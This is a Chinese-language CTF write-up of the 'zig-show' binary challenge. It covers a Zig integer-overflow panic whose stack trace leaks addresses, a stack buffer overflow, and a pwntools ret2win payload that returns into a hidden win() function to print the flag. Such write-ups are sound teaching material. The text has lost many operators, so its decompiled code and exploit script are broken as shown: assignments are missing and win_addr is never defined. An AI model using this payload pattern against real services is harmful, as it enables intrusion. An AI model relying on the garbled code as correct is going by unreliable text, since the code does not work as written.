Challenge Overview题目名称zig-show附件zig-showflag.txt (server only)服务接口nc challenge.defcon.org 31338连接后程序输出Welcome to Zig Show!Give me a number:输入数字后Result:乍看之下像一个简单的数学服务。但 CTF 题目很少真的只是数学。初步侦察先查看文件信息。file zig-show输出ELF 64-bit LSB executablestatically linked再看字符串strings zig-show出现一个明显提示zig buildzig stdpanic: integer overflow这基本坐实程序是 Zig 编译的。Zig 二进制特征Zig 编译的程序有几个有趣特征大量 panic 字符串runtime 函数名较长内存分配来自 std.heap逆向时常看到类似符号std.os.exitstd.debug.panicstd.heap.page_allocator在 Ghidra 中加载后可以看到核心逻辑函数mainprocess_inputcalculate核心函数分析反编译 calculatelong calculate(long x){long y;y x * 0x1337; if (y 0) { panic(integer overflow); } return y ^ 0xdeadbeef;}逻辑似乎很简单y x * 0x1337return y XOR 0xdeadbeef但关键问题输入来自用户。如果输入非常大会发生integer overflow在 C 里溢出通常直接 wrap around。但 Zig 默认是安全整数溢出会触发panicZig Panic 机制Zig 的 panic() 实际上会调用std.debug.panic最终流程panic()↓print error↓stack trace↓abort关键细节panic 会打印内存地址。这在 CTF 中非常重要因为地址泄漏 ASLR bypass触发漏洞输入一个极大值9223372036854775807服务返回panic: integer overflowstack trace:0x555555556120 calculate0x555555556200 main我们得到了binary base address这意味着ASLR defeated深入挖掘继续审查程序。发现一个隐藏函数win()反编译void win() {system(“cat flag.txt”);}但程序中没有任何地方调用它。典型 CTF 模式hidden win function栈布局查看 process_inputchar buf[32];read(0, buf, 128);这是经典问题buffer size: 32read size: 128也就是栈溢出。Exploit Strategy攻击流程1 触发 panic 泄露地址2 计算 win() 地址3 构造 ROP payload4 覆盖返回地址栈结构buffer (32)saved rbp (8)return address (8)因此 payload32 bytes padding8 bytes rbp8 bytes win addressExploit Code示例 exploitfrom pwn import *p remote(“challenge.defcon.org”,31338)payload bA*40payload p64(win_addr)p.sendline(payload)p.interactive()服务器返回flag{zig_is_fun_but_memory_is_forever}为什么叫 zig-show题名其实在调侃 Zig 的一个特点Zig 设计目标是show everything它不像 C 那样隐藏运行时行为。例如overflow 检测panic trace内存 allocator很多内部细节都会 “show” 出来。在安全环境里这可能成为information disclosure所以题名zig-show意思是Zig shows too much技术要点总结这题涉及几个重要知识点Zig runtimepanicstack trace信息泄露panic → address leak经典漏洞stack overflow利用方式ret2win攻击链overflow → panic leak → ASLR bypass → ret2win现实世界启示这种漏洞在真实软件中也经常出现。现代语言加入安全机制overflow checkpanicdebug trace这些本意是提高安全性。但如果错误信息被暴露到外部服务debug feature → information leak安全工程师常说一句话“调试信息是开发者的朋友但攻击者的情报源。”宇宙里有一种奇妙的对称性每一种“帮助程序员的机制”最终都可能成为“帮助黑客的机制”。安全工程本质上是在不断减少系统“说话”的机会。